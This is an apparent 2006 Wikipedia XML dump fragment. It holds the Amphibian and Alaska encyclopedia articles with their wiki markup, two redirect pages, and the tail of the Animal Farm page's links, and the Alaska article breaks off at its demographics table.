[[Category:Animal Farm]]
[[Category:Dystopian novels]]
[[Category:English novels]]
[[Category:George Orwell books]]
[[Category:Modern Library 100 best novels]]
[[Category:Satirical books]]
[[Category:Time Magazine 100 best novels]]
[[Category:Twentieth century British novels]]

[[da:Kammerat Napoleon]]
[[de:Farm der Tiere]]
[[es:Rebelión en la granja]]
[[fr:La Ferme des animaux]]
[[ko:동물 농장]]
[[it:La fattoria degli animali]]
[[he:חוות החיות]]
[[hu:Állatfarm]]
[[nl:Animal Farm]]
[[ja:動物農場]]
[[lv:Dzīvnieku ferma]]
[[no:Kamerat Napoleon]]
[[pl:Folwark zwierzęcy]]
[[pt:Animal Farm]]
[[fi:Eläinten vallankumous]]
[[sv:Djurfarmen]]
[[zh:动物庄园]]</text>
    </revision>
  </page>
  <page>
    <title>Amphibian</title>
    <id>621</id>
    <revision>
      <id>41645993</id>
      <timestamp>2006-02-28T19:41:37Z</timestamp>
      <contributor>
        <ip>161.97.162.148</ip>
      </contributor>
      <comment>/* History of amphibians */</comment>
      <text xml:space="preserve">{{otheruses}}
{{taxobox
| color=pink
| name=Amphibians
| image = Caerulea3 crop.jpg
| image_width = 230px
| image_caption = [[White's Tree Frog]] (''Litoria caerulea'')
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| subphylum = [[Vertebrata]]
| classis = '''Amphibia'''
| classis_authority = [[Carolus Linnaeus|Linnaeus]] 1758
| subdivision_ranks = Orders
| subdivision =
Subclass [[Labyrinthodontia]] - ''extinct''&lt;br /&gt;
Subclass [[Lepospondyli]] - ''extinct''&lt;br /&gt;
Subclass [[Lissamphibia]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;[[Anura]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;[[salamander|Caudata]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;[[caecilian|Gymnophiona]]}}
'''Amphibians''' ([[Class (biology)|class]] '''Amphibia''') are a [[taxon]] of [[animal]]s that include all [[tetrapod]]s (four-legged [[vertebrate]]s) that do not have [[amniotic sac|amniotic]] eggs. Amphibians (from [[Greek language|Greek]] ''αμφις'' &quot;both&quot; and ''βιος'' &quot;life&quot;) generally spend part of their time on land, but they do not have the adaptations to an entirely terrestrial existence found in most other modern tetrapods ([[amniote]]s). There are about 5,950 described, living [[species]] of amphibians. The study of amphibians and [[reptile]]s is known as [[herpetology]]. 

== History of amphibians ==
[[Image:Salamandra salamandra CZ.JPG|thumb|226px|right|[[Fire Salamander]] (''Salamandra salamandra'')]]Amphibians developed with the characteristics of pharyngeal slits/[[gills]], a [[dorsal nerve cord]], a [[notochord]], and a post-anal tail at different stages of their life. They have persisted since the dawn of tetrapods 390 million years ago in the [[Devonian]] period, when they were the first four-legged animals to develop [[lung]]s. During the following [[Carboniferous]] period they also developed the ability to walk on land to avoid aquatic competition and [[predation]] while allowing them to travel from water source to water source. As a group they maintained the status of the dominant animal for nearly 75 million years. Throughout their history they have ranged in size from the 3 foot (90cm) long Devonian [[Ichthyostega]], to the slightly larger 5 foot (150cm) long [[Permian]] [[Eryops]], and down to the tiny ''[[Brachycephalus didactylus]]'' (Brazilian Gold Frog) and ''[[Eleutherodactylus iberia]]'' from [[Cuba]], with a total length of 9.6-9.8 millimeters (0.4 inches). Amphibians have mastered almost every climate on earth from the hottest deserts to the frozen arctic.

== Classification ==
[[Image:Caecilian.jpg|226px|thumb|right|[[Caecilian]] from the [[San Antonio]] zoo]]
Traditionally the amphibians are taken to include all [[tetrapod]]s that are not [[amniote]]s.  Recent amphibians all belong to a single subgroup of these, called the [[Lissamphibia]].  Recently there has been a tendency to restrict the class Amphibia to the Lissamphibia, i.e. to exclude tetrapods that are not more closely related to modern forms than they are to modern reptiles, birds, and mammals.

There are two [[ancient]], [[extinct]], [[Subclass (biology)|subclasses]]:

* Subclass [[Labyrinthodontia]] ([[paraphyletic]])
* Subclass [[Lepospondyli]]

Of the remaining modern subclass '''Lissamphibia''' there are three [[Order (biology)|order]]s:

* Order [[Anura]] ([[frog]]s and [[toad]]s) (in Superorder Salientia): 5,228 species
* Order [[Caudata]] or [[Urodela]] ([[salamander]]s): 552 species
* Order [[Gymnophiona]] or [[Apoda]] ([[caecilian]]s): 171 species

Authorities disagree on whether Salientia is a Superorder that includes the order Anura, or whether Anura is a sub-order of the order Salientia. In effect Salientia includes all the Anura plus a single [[Triassic]] proto-frog species, ''[[Triadobatrachus massinoti]]''.  Practical considerations seem to favour using the former arrangement now.

== Reproduction ==
For the purpose of [[reproduction]] most amphibians are bound to [[fresh water]]. A few tolerate [[brackish water]], but there are no true [[sea water]] amphibians. Several hundred frog species in adaptive radiations (e.g., [[Eleutherodactylus]], the Pacific Platymantines, the Australo-Papuan microhylids, and many other tropical frogs), however, do not need any water whatsoever. They reproduce via direct development, an ecological and [[evolution]]ary adaptation that has allowed them to be completely independent from free-standing water. Almost all of these frogs live in wet [[tropical rainforest]]s and their eggs hatch directly into miniature versions of the adult, bypassing the [[tadpole]] stage entirely. Several species have also adapted to arid and semi-arid environments, but most of them still need water to lay their eggs. [[Symbiosis]] with single celled [[algae]] that lives in the jelly-like layer of the eggs has evolved several times. The larvae (tadpoles or polliwogs) breathe with exterior [[gill]]s. After hatching, they start to transform gradually into the adult's appearance. This process is called [[metamorphosis (biology)|metamorphosis]]. Typically, the animals then leave the water and become terrestrial adults, but there are many interesting exceptions to this general way of reproduction.

The most obvious part of the amphibian metamorphosis is the formation of four legs in order to support the body on land. But there are several other changes:
* The gills are replaced by other [[Respiratory system|respiratory organ]]s, i.e. [[lung]]s.
* The skin changes and develops [[gland]]s to avoid [[dehydration]]
* The eyes get eyelids and adapt to vision outside the water
* An [[eardrum]] is developed to lock the middle [[ear]]
* In frogs and toads, the [[tail]] disappears

==Amphibian conservation==
{{main|decline in frog populations}}
[[Image:Bufo periglenes1.jpg|thumb|right|300px|The [[Golden toad]] of [[Monteverde]], [[Costa Rica]] was among the first casualties of amphibian declines. Formerly abundant, it was last seen in 1989.]]
Dramatic declines in amphibian populations, including population crashes and mass localized [[extinction]], have been noted in the past two decades from locations all over the world, and amphibian declines are thus perceived as one of the most critical threats to global [[biodiversity]]. A number of causes are believed to be involved, including [[habitat destruction]] and modification, over-exploitation, [[pollution]], [[introduced species]], [[climate change]], and disease.  However, many of the causes of amphibian declines are still poorly understood, and amphibian declines are currently a topic of much ongoing research.

== See also ==
*[[Frog zoology]]
*[[Prehistoric amphibian]]
*[[Tetrapod]]

== References ==
*Duellman/Trueb, ''Biology of Amphibians''
*{{cite journal
 | last = Pounds
 | first = J. Alan
 | title = Widespread amphibian extinctions from epidemic disease driven by global warming
 | url = http://www.nature.com/nature/journal/v439/n7073/full/nature04246.html
 | journal = Nature
 | volume = 439
 | pages = 161-167
 | year = 2006
 | month = January
 | id = {{doi|10.1038/nature04246}}
 | coauthors = Martín R. Bustamante, Luis A. Coloma, Jamie A. Consuegra, Michael P. L. Fogden, Pru N. Foster, Enrique La Marca, Karen L. Masters, Andrés Merino-Viteri, Robert Puschendorf, Santiago R. Ron, G. Arturo Sánchez-Azofeifa, Christopher J. Still and Bruce E. Young
}}
*Solomon Berg Martin, ''Biology''
*{{cite journal
 | last = Stuart
 | first = Simon N.
 | coauthors = Janice S. Chanson, Neil A. Cox, Bruce E. Young, Ana S. L. Rodrigues, Debra L. Fischman, Robert W. Waller
 | title = Status and trends of amphibian declines and extinctions worldwide
 | url = http://www.sciencemag.org/cgi/content/full/306/5702/1783
 | journal = Science
 | volume = 306
 | issue = 5702
 | pages = 1783-1786
 | year = 2004
 | month = December
 | id = {{doi|10.1126/science.1103538}}
}}

== External links ==
{{Wikispecies|Amphibia}}
{{Wikibookspar|Dichotomous Key|Amphibia}}
* [http://research.amnh.org/herpetology/ American Museum of Natural History: Department of herpetology]
* [http://www.globalamphibians.org/ The Global Amphibian Assessment]
* [http://amphibiaweb.org/ AmphibiaWeb]

[[Category:Chordates]]
[[Category:Amphibians]]

[[bg:Земноводни]]
[[ca:Amfibi]]
[[cs:Obojživelníci]]
[[cy:Amffibiad]]
[[da:Padde]]
[[de:Amphibien]]
[[es:Amphibia]]
[[eo:Amfibioj]]
[[fr:Amphibia]]
[[ko:양서류]]
[[id:Amfibia]]
[[io:Amfibia]]
[[it:Amphibia]]
[[he:דו חיים]]
[[lt:Varliagyviai]]
[[li:Amfibieë]]
[[mk:Водоземци]]
[[ms:Amfibia]]
[[nl:Amfibieën]]
[[nds:Amphibia]]
[[ja:両生類]]
[[no:Amfibier]]
[[oc:Amphibia]]
[[pl:Płazy]]
[[pt:Amphibia]]
[[ru:Земноводные]]
[[simple:Amphibian]]
[[sl:Dvoživke]]
[[fi:Sammakkoeläimet]]
[[sr:Водоземци]]
[[sv:Groddjur]]
[[tr:İki yaşamlılar]]
[[uk:Земноводні]]
[[zh:两栖动物]]</text>
    </revision>
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    <title>Albert Arnold Gore/Criticisms</title>
    <id>622</id>
    <revision>
      <id>15899151</id>
      <timestamp>2002-08-29T07:34:07Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>circumventing two-step redirect, removing text from redirect page</comment>
      <text xml:space="preserve">#REDIRECT [[Al Gore]]</text>
    </revision>
  </page>
  <page>
    <title>Aves</title>
    <id>623</id>
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      <id>15899152</id>
      <timestamp>2004-07-04T10:37:36Z</timestamp>
      <contributor>
        <username>Tannin</username>
        <id>6169</id>
      </contributor>
      <comment>restore redirect</comment>
      <text xml:space="preserve">#REDIRECT [[bird]]</text>
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  </page>
  <page>
    <title>Alaska</title>
    <id>624</id>
    <revision>
      <id>42081829</id>
      <timestamp>2006-03-03T18:26:49Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.40.182.97|71.40.182.97]] ([[User talk:71.40.182.97|talk]]) to last version by Kareeser</comment>
      <text xml:space="preserve">{{mergefrom|North to the future}}

{{otheruses}}
{{US state
| Name            = Alaska
| Fullname        = State of Alaska
| Flag            = Flag of Alaska.svg
| Flaglink        = [[Flag of Alaska]]
| Seal            = Alaskastateseal.jpg
| Map             = ak-locator.png
| Nickname        = The Last Frontier, The Land of the Midnight Sun
| Motto           = North to the Future
| Capital         = [[Juneau, Alaska|Juneau]]
| OfficialLang    = [[English language|English]]
| Languages       = [[English language|English]] 85.7%, Native North American 5.2%, [[Spanish language|Spanish]] 2.9%
| LargestCity     = [[Anchorage, Alaska|Anchorage]]
| Governor        = [[Frank Murkowski]] (R)
| Senators        = [[Ted Stevens]] (R)&lt;br&gt;[[Lisa Murkowski]] (R)
| PostalAbbreviation = AK
| AreaRank        = 1&lt;sup&gt;st&lt;/sup&gt;
| TotalArea       = 663,267 mi² / 1&amp;nbsp;717&amp;nbsp;854
| LandArea        = 571,951 mi² / 1&amp;nbsp;481&amp;nbsp;347
| WaterArea       = 91,316 mi² / 236&amp;nbsp;507
| PCWater         = 13.77
| PopRank         = 47&lt;sup&gt;th&lt;/sup&gt;
| 2000Pop         = 626,932
| DensityRank     = 50&lt;sup&gt;th&lt;/sup&gt;
| 2000Density      = 1.09/mi² / 0.42
| AdmittanceOrder = 49&lt;sup&gt;th&lt;/sup&gt;
| AdmittanceDate  = [[January 3]], [[1959]]
| TimeZone        = [[Alaska Standard Time Zone|Alaska]]: [[Coordinated Universal Time|UTC]]-9/[[Daylight saving time|-8]]&lt;br/&gt;[[Hawaii-Aleutian Standard Time Zone|Aleutian]]: UTC-10/[[Daylight saving time|-9]] (west of 169° 30')
| Latitude        = 54°40'N to 71°50'N
| Longitude       = 130°W to 173°E
| Width           = 808 mi / 1300
| Length          = 1,479 mi / 2380
| HighestElev     = 20,321 ft / 6194
| MeanElev        = 10,039 ft / 3060
| LowestElev      = 0 ft / 0
| ISOCode         = US-AK
| Website         = www.state.ak.us
}}

'''Alaska''' ([[International Phonetic Alphabet|IPA]]: {{IPA|[ə 'læ skə]}}) is the 49th [[U.S. state|state]] of the [[United States]]. It was admitted on [[January 3]], [[1959]]. The population of the state is 626,932, [[as of 2000]], according to the [[United States Census, 2000|2000 U.S. census]]. Alaska is most likely ranked the fourth smallest state population wise in the U.S. with Wyoming, Vermont, and by now North Dakota smaller than Alaska. The name &quot;Alaska&quot; is most likely derived from the [[Aleut]] word ''Alyeska'', meaning ''greater land'' as opposed to the Aleut word ''Aleutia,'' meaning ''lesser land''. To the Aleuts, this distinction was a linguistic variation distinguishing the ''mainland'' from an ''island''.

It is bordered by [[Yukon|Yukon Territory]] and [[British Columbia]], [[Canada]] to the east, the [[Gulf of Alaska]] and the [[Pacific Ocean]] to the south, the [[Bering Sea]], [[Bering Strait]], and [[Chukchi Sea]] to the west, and the [[Beaufort Sea]] and the [[Arctic Ocean]] to the north. Alaska is the largest state by area in the United States. It is larger in area than all but 18 of the world's nations.

==History==
{{main|History of Alaska}}

Alaska was first inhabited by humans who came across the [[Bering Land Bridge]]. Eventually, Alaska became populated by the [[Inupiaq]], [[Inuit]] and [[Yupik]] [[Eskimo]]s, [[Aleut]]s, and a variety of [[American Indians in the United States|American Indian]] groups. Most, if not all, of the pre-Columbian population of the Americas probably took this route and continued further south and east.

The first written accounts indicate that [[Russian colonization of the Americas|the first Europeans to reach Alaska came from Russia]]. [[Vitus Bering]] sailed east and saw [[Mount Saint Elias|Mt. St. Elias]]. The [[Russian-American Company]] hunted [[sea otter]]s for their fur. The colony was never very profitable, because of the costs of transportation.

At the urging of [[United States Secretary of State|U.S. Secretary of State]] [[William H. Seward|William Seward]], the [[United States Senate]] approved the [[Alaska purchase|purchase of Alaska]] from [[Russia]] for $7,200,000 (approximately $134,000,000 in 2005 dollars, adjusted for inflation[http://www.westegg.com/inflation/]) on [[9 April]] [[1867]], and the United States flag was raised on [[18 October]] of that same year (now called [[Alaska Day]]). Coincident with the ownership change, the de facto [[International Date Line]] was moved westward, and Alaska changed from the [[Julian calendar]] to the [[Gregorian calendar]]. Therefore, for residents, Friday, [[October 6]], [[1867]] was followed by Friday, [[October 18]], [[1867]]; two Fridays in a row because of the date line shift.

The first American administrator of Alaska was [[Poles|Polish]] immigrant [[Wlodzimierz Krzyzanowski|Włodzimierz Krzyżanowski]]. The purchase was not popular in the contiguous United States, where Alaska became known as &quot;Seward's Folly&quot; or &quot;Seward's Icebox.&quot;  Alaska celebrates the purchase each year on the last Monday of [[March]], calling it [[Seward's Day]]. After the purchase of Alaska between 1867 and 1884 the name was changed to the Department of Alaska.  Between 1884 and 1912 it was called the district of Alaska.
{{lastfrontier}}
President [[Dwight D. Eisenhower]] signed the [[Alaska Statehood Act]] into [[United States law]] on [[7 July]] [[1958]] which paved the way for Alaska's admission into the Union on [[January 3]] [[1959]].

Alaska suffered one of the worst [[earthquake]]s in recorded North American history on [[Good Friday]] 1964 (see [[Good Friday Earthquake]]).

In 1976, the people of Alaska amended the state's constitution, establishing the [[Alaska Permanent Fund]]. The fund invests a portion of the state's mineral revenue, including revenue from the [[Trans-Alaskan Pipeline System]], &quot;to benefit all generations of Alaskans.&quot; In March 2005, the fund's value was over $30 billion.

Prior to 1983, the state lay across four different [[time zone]]s&amp;mdash;Pacific Standard Time (UTC -8 hours) in the southeast panhandle, a small area of Yukon Standard Time (UTC -9 hours) around [[Yakutat]], Alaska&amp;ndash;Hawaii Standard Time (UTC -10 hours) in the [[Anchorage, Alaska|Anchorage]] and [[Fairbanks, Alaska|Fairbanks]] vicinity, with the [[Nome, Alaska|Nome]] area and most of the [[Aleutian Islands]] observing Bering Standard Time (UTC -11 hours).  In 1983 the number of time zones was reduced to two, with the entire mainland plus the inner Aleutian Islands going to UTC -9 hours (and this zone then being renamed Alaska Standard Time as the [[Yukon Territory]] had several years earlier (circa 1975) adopted a single time zone identical to Pacific Standard Time), and the remaining Aleutian Islands were slotted into the UTC &amp;minus;10 hours zone, which was then renamed Hawaii&amp;ndash;Aleutian Standard Time.

Over the years various [[vessel]]s have been named [[USS Alaska|USS ''Alaska'']], in honor of the state.

During [[World War II]] three of the outer Aleutian Islands&amp;mdash;[[Attu Island|Attu]], [[Agattu]] and [[Kiska]]&amp;mdash;were occupied by [[Japan|Japanese]] troops. It was the only territory within the current borders of the United States to have land occupied during the war.

==Politics==
Alaska is often characterized as a [[Republican Party (United States)|Republican]]-leaning state with strong [[Libertarianism|Libertarian]] tendencies. Local political communities often work on issues related to land use development, [[fishing]], [[tourism]], and [[individual rights]] as many residents are proud of their rough Alaskan heritage.

[[Alaska Native|Alaska Natives]], while organized in and around their communities, are often active within the [[Alaska Native Regional Corporations|Native corporations]] which have been given ownership over large tracts of land, and thus need to deliberate resource conservation and development issues.

In presidential elections, the state's Electoral College votes have been most often won by a Republican nominee. Only once has Alaska supported a [[Democratic Party (United States)|Democratic]] nominee, when it supported [[Lyndon B. Johnson]] in the landslide year of 1964, although the 1960 and 1968 elections were close. No state has voted for a Democratic presidential candidate fewer times. President [[George W. Bush]] won the state's electoral votes in 2004 by a margin of 25 percentage points with 61.1% of the vote.  Juneau stands out as an area that supports Democratic candidates.

When the [[United States Congress]], in 1957 and 1958, debated the wisdom of admitting it as the 49th state, much of the political debate centered on whether Alaska would become a [[Democratic Party (United States)|Democratic]] or [[Republican Party (United States)|Republican]]-leaning state. Conventional wisdom had it that, with its rugged individualism, penchant for new ideas, and dependence on the [[Federal Government]] largess for basic needs, it would become a Democratic stronghold, about which Republicans, and the, then, Republican Administration of [[Dwight Eisenhower]] had reservations. Given time, those fears proved roundly unfounded. After an early flirtatious period with liberal politics, the political climate of Alaska changed quickly once [[petroleum]] was discovered and the federal government came to be seen as 'meddling' in local affairs. Still, despite its libertarian leanings, the state regularly takes in more federal money than it gives out, a fact that can be attributed at least partially to its equal representation in the [[United States Senate]].     

In recent years, the [[Alaska Legislature]] is a 20-member Senate serving 4-year terms and 40-member House serving 2-year terms. It has been dominated by conservatives, generally Republicans. Likewise, recent state governors have been mostly conservatives, although not always elected under the official 'Party' banner. Republican [[Walter Joseph Hickel|Wally Hickel]] was elected to the office for a second term in 1990 after jumping the Republican ship and briefly joining the [[Alaskan Independence Party]] ticket just long enough to be reelected. He subsequently officially 'rejoined' the Republican fold in 1994. 

Alaska's members of the [[Congress of the United States|U.S. Congress]] are all Republican. U.S. Senator [[Ted Stevens]] was appointed to the position following the death of U.S. Senator [[Bob Bartlett]] in December of 1968, and has never lost a re-election campaign since. As the longest-serving Republican in the Senate (some political wits call him Senator-For-Life), Stevens has been a crucial force in gaining Federal money for his state.

Until his resignation from the [[United States Senate|U.S. Senate]] to run for Governor, Republican [[Frank Murkowski]] held the state's other Senatorial position and, as Governor, was allowed to appoint his daughter, [[Lisa Murkowski]] as his successor. She won a full six-year term on her own in 2004.

Alaska's sole [[U.S. House of Representatives|U.S. House]] Representative, [[Don Young]] won re-election to his 17th-straight term, also in 2004. His seniority in House ranks him as one of the most influential Republican House members. His position on the House Transportation Committee allowed him to parlay some $450 million to two bridge projects in Alaska, named the ''[[Bridges to Nowhere]]'', for which he gained national notoriety following the devastation in the State of [[Louisiana]] following [[Hurricane Katrina]] and his insistence that the money not be returned to aid in rebuilding the Gulf Coast.

==Geography==
[[image:Looking back to Little Port Walter - NOAA.jpg|thumb|250px|Near [[Little Port Walter]]]]
Alaska is one of the two states that is not bordered by another US state, [[Hawaii]] being the other. It is the only state that is both in [[North America]] and is not part of the 48 contiguous states; about 500 miles (800 kilometers) of [[Canada|Canadian]] territory separate Alaska from Washington. Therefore, Alaska is an [[exclave]] of the United States that is part of the continental U.S. but is not part of the contiguous U.S. It is also the only mainland state whose [[capital city]] is accessible only via [[Water transportation|ship]] or [[aviation|air]]. There are no [[road]]s connecting Juneau to the rest of the state.

Alaska is the largest state in the United States in terms of land area, 570,374 square miles (1&amp;nbsp;477&amp;nbsp;261 km²). If a map of Alaska were superimposed upon a map of the [[Continental United States]], Alaska would overlap [[Texas]], [[Oklahoma]], [[Kansas]], [[New Mexico]] and [[Colorado]]. Alaska has the longest [[coastline]] of any state.

One scheme for describing the state's geography is by labeling the regions:
*[[South Central Alaska]] is the southern coastal region and is the population center for the state. The Municipality of Anchorage and many small but growing towns, such as [[Palmer, Alaska|Palmer]], and [[Wasilla, Alaska|Wasilla]], lie within this area. [[Petroleum]] industrial plants, transportation, [[tourism]], and two [[military base]]s form the core of the economy here.
*The [[Alaska Panhandle]], also known as Southeast Alaska, is home to Juneau, many small towns, tidewater [[glacier|glaciers]] and extensive forests. Tourism, fishing, forestry and state government anchor the economy.
*The [[Alaska Interior]] is home to [[Fairbanks, Alaska|Fairbanks]]. The geography is marked by large [[braided river]]s, such as the [[Yukon River]] and the [[Kuskokwim River]], as well as [[Arctic]] [[tundra]] lands and shorelines.
*The [[Alaskan Bush]] is the remote, less crowded part of the state, encompassing 380 native villages and small towns such as [[Nome, Alaska|Nome]], [[Bethel, Alaska|Bethel]], [[Kotzebue, Alaska|Kotzebue]] and, most famously, [[Barrow, Alaska|Barrow]], the northernmost town in the United States.

The northeast corner of Alaska is covered by the [[Arctic National Wildlife Refuge]], which covers 19,049,236 acres (79,318 km²).

With its numerous islands, Alaska has nearly 34,000 miles (54&amp;nbsp;700 km) of tidal shoreline. The island chain extending west from the southern tip of the [[Alaska Peninsula]] is called the [[Aleutian Islands]]. Many active [[volcano]]es are found in the Aleutians. For example, [[Unimak Island]] is home to [[Mount Shishaldin]], a moderately active volcano that rises to 9,980 ft (3042&amp;nbsp;m) above [[sea level]]. The chain of volcanoes extends to [[Mount Spurr]], west of Anchorage on the mainland.

North America's second largest [[tide]]s occur in [[Turnagain Arm]] just south of Anchorage, which often sees tidal differences of more than 35 feet (10.7&amp;nbsp;m).

Alaska is home to 3.5 million [[lake]]s of 20 acres (8&amp;nbsp;ha) or larger. [[Marshland]]s and wetland [[permafrost]] cover 188,320 square miles (487&amp;nbsp;747&amp;nbsp;km², mostly in northern, western and southwest flatlands. Frozen water, in the form of [[glacier]] ice, covers  some 16,000 square miles (41&amp;nbsp;440&amp;nbsp;km²) of land and 1200 square miles (3108&amp;nbsp;km²) of tidal zone. The Bering Glacier complex near the southeastern border with [[Yukon]], [[Canada]], covers 2250 square miles (5827&amp;nbsp;km²) alone.

{{ussm|alaska.png|ak}}
The Aleutian Islands actually cross longitude 180°, also making it the easternmost state, although the [[International Date Line]] doglegs around them to keep the whole state in the same day. It is part of the [[extreme points of the United States]].

According to the October 1998 report of the [[United States Bureau of Land Management]], approximately 65% of Alaska is owned and managed by the [[United States Federal Government|U.S. Federal Government]] as [[national forest]]s, [[national park]]s, and [[national wildlife refuge]]s. Of these, the [[Bureau of Land Management]] manages 87 million acres (350&amp;nbsp;000&amp;nbsp;km²), or 23.8% of the state. The [[Arctic National Wildlife Refuge]] is managed by the [[United States Fish and Wildlife Service]].

Of the remaining land area, the State of Alaska owns 24.5%; another 10% is managed by thirteen regional and dozens of local Native corporations created under the [[Alaska Native Claims Settlement Act]]. Various private interests own the remaining land, totaling less than 1%.

''See also:''
* [[List of Alaska rivers]]
* [[Alaska Peninsula]]
* [[Bristol Bay]]

==Boroughs and census areas==
Alaska has no [[county (United States)|counties]] in the sense used in the rest of the country. Instead, the state is divided into [[List of boroughs and census areas in Alaska|27 census areas and boroughs]]. The difference between [[borough]]s and census areas is that boroughs have an organized area-wide government, while census areas are artificial divisions defined by the [[United States Census Bureau]] for statistical purposes only. Areas of the state not in organized boroughs compose what the government of Alaska calls the [[unorganized borough]]. Borough-level government services in the unorganized borough are provided by the state itself.

==Economy==
[[Image:wiki_alaska.jpg|thumb|350px|Greetings from Alaska]]
The state's 2003 total gross state product was $31 billion. Its ''per-capita'' income for 2003 was $33,213, 14&lt;sup&gt;th&lt;/sup&gt; in the nation. Alaska's main export is seafood. Agriculture represents only a fraction of the Alaska economy. Agricultural production is primarily for consumption within the state and includes nursery stock, dairy products, vegetables, and livestock. Manufacturing is limited, with most foodstuffs and general goods imported from elsewhere. Employment is primarily in government and industries such as [[natural resource]] extraction, shipping, and transportation. Military bases are a significant component of the economy in both Fairbanks and Anchorage. Its industrial outputs are crude petroleum, natural gas, coal, gold, precious metals, zinc and other mining, seafood processing, timber and wood products. There is also a growing service and [[tourism]] sector. Tourists have contributed to the economy by supporting local lodging.

-

The cost of goods in Alaska has long been higher than in the contiguous 48 states. This has changed for the most part in [[Anchorage, Alaska|Anchorage]] and [[Fairbanks, Alaska|Fairbanks]], where the cost of living is actually less than some major cities in the Lower 48, thanks to lower housing and transportation costs. The introduction of big-box stores in Anchorage, Fairbanks, and Juneau also did much to lower prices. However, rural Alaska suffers from extremely high prices for food and consumer goods, compared to the rest of the country due to the relatively limited transportation infrastructure. Many rural residents come in to these cities and purchase food and goods in bulk from warehouse clubs like [[Costco]] and [[Sam's Club]]. Some have embraced the free shipping offers of some online retailers to purchase items much more cheaply than they could in their own communities, if they are available at all.

==Transportation==
[[image:Alaska Highway Bridge.jpg|thumb|234px|Bridge on [[Alaska Highway]] between [[Watson Lake]] and [[Whitehorse, Yukon|Whitehorse]].]]
Alaska is arguably the least-connected state in terms of road transportation. The state's road system covers a relatively small area of the state, linking the central population centers and the [[Alaska Highway]], the principal route out of the state through [[Canada]]. The state capital, [[Juneau]], is not accessible by road, which has spurred several debates over the decades about moving the capital to a city on the road system. One unique feature of the road system is the [[Anton Anderson Memorial Tunnel]], which links the [[Seward Highway]] south of Anchorage with the relatively isolated community of [[Whittier, Alaska|Whittier]]. The tunnel held the title of the longest road tunnel in North America (at nearly 2.5 miles [4&amp;nbsp;km]) until completion of the 3.5 mile (5.6km) [[Interstate 93]] tunnel as part of the &quot;[[Big Dig]]&quot; project in [[Boston, Massachusetts]]. The Anderson Tunnel combines a one-lane roadway and train tracks in the same housing. Consequently, eastbound traffic, westbound traffic, and the [[Alaska Railroad]] must share the tunnel, resulting in waits of 20 minutes or more to enter.  As reflected on the Alaska Department of Transportation [http://www.dot.state.ak.us/creg/whittiertunnel/index.shtml Tunnel Website], it is now considered &quot;North America's longest railroad-highway tunnel.&quot;

The [[Alaska Railroad]] runs from [[Seward, Alaska|Seward]] through [[Anchorage, Alaska|Anchorage]], [[Denali]], and [[Fairbanks, Alaska|Fairbanks]] to [[North Pole, Alaska|North Pole]], with spurs to [[Whittier, Alaska|Whittier]] and [[Palmer, Alaska|Palmer]]. The railroad is famous for its summertime passenger services but also plays a vital part in moving Alaska's natural resources, such as coal and gravel, to ports in Anchorage, Whittier and Seward. The Alaska Railroad is the only remaining railroad in North America to use [[caboose]]s on its freight trains. A stretch of the track along an area inaccessible by road serves as the only transportation to cabins in the area.

Most cities and villages in the state are accessible only by sea or air. Alaska has a well-developed [[ferry]] system, known as the [[Alaska Marine Highway]], which serves the cities of [[Southeast Alaska|Southeast]] and the [[Alaska Peninsula]]. The system also operates a ferry service from [[Bellingham, Washington|Bellingham]], [[Washington]] up the [[Inside Passage]] to [[Skagway, Alaska|Skagway]]. Cities not served by road or sea can only be reached by air, accounting for Alaska's extremely well-developed [[Alaskan Bush|Bush]] air services&amp;mdash;an Alaskan novelty.

Anchorage itself, and to a lesser extent Fairbanks, are serviced by [[Ted Stevens Anchorage International Airport#Airlines and destinations|many major airlines]]. Air travel is the cheapest and most efficient form of transportation in and out of the state. Anchorage recently completed extensive remodeling and construction at [[Ted Stevens Anchorage International Airport]] to help accommodate the upsurge in tourism (unofficial sources have estimated the numbers for 2004 at some four million tourists arriving in Alaska between May and September).

However, regular flights to most villages and towns within the state are commercially challenging to provide. Alaska Airlines is the only major airline offering in-state travel with jet service (sometimes in combination cargo and passenger [[Boeing 737]]-200s) from Anchorage and Fairbanks to regional hubs like [[Bethel, Alaska|Bethel]], [[Nome, Alaska|Nome]], [[Kotzebue, Alaska|Kotzebue]], [[Dillingham, Alaska|Dillingham]], [[Kodiak, Alaska|Kodiak]], and other larger communities as well as to major Southeast and Alaska Peninsula communities. The bulk of remaining commercial flight offerings come from small regional commuter airlines like: [[Era Aviation]], [[Peninsula Airways|PenAir]], and [[Frontier Flying Service]]. The smallest towns and villages must rely on scheduled or chartered Bush flying services using general aviation aircraft such as the [[Cessna Caravan]], the most popular aircraft in use in the state. Much of this service can be attributed to the Alaska bypass mail program which subsidizes bulk mail delivery to Alaskan rural communities. The program requires 70% of that subsidy to go to carriers who offer passenger service to the communities. But perhaps the most quintessentially Alaskan plane is the Bush seaplane. The world's busiest seaplane base is [[Lake Hood Seaplane Base|Lake Hood]], located next to Ted Stevens Anchorage International Airport, where flights bound for remote villages without an airstrip carry passengers, cargo, and lots of items from stores and warehouse clubs.

Another Alaskan transportation method is the [[dogsled]]. In modern times, dog [[mushing]] is more of a sport than a true means of transportation. Various races are held around the state, but the best known is the [[Iditarod]], a 1,150-mile (1850&amp;nbsp;km) trail from Anchorage to Nome. The race commemorates the famous [[1925 serum run to Nome]] in which mushers and dogs like [[Balto]] took much-needed medicine to the [[diphtheria]]-stricken community of [[Nome, Alaska|Nome]] when all other means of transportation had failed. Mushers from all over the world come to Anchorage each March to compete for cash prizes and prestige.

==Demographics==
{| class=&quot;toccolours&quot; align=right cellpadding=4 cellspacing=0 style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=center | Historical populations
|-
! align=center | Census&lt;br&gt;year !! align=right | Population
|-
| colspan=2 |&lt;hr&gt;
|-
| align=center | [[United States Census, 1950|1950]] || align=right | 128,643
|-
| align=center | [[United States Census, 1960|1960]] || align=right | 226,167
|-
| align=center | [[United States Census, 1970|1970]] || align=right | 300,382
|-
| align=center | [[United States Census, 1980|1980]] || align=right | 401,851
|-
| align=center | [[United States Census, 1990|1990]] || align=right | 550,043
|-
| align=center | [[United States Census, 2000|2000]] || align=right | 626,932
|}

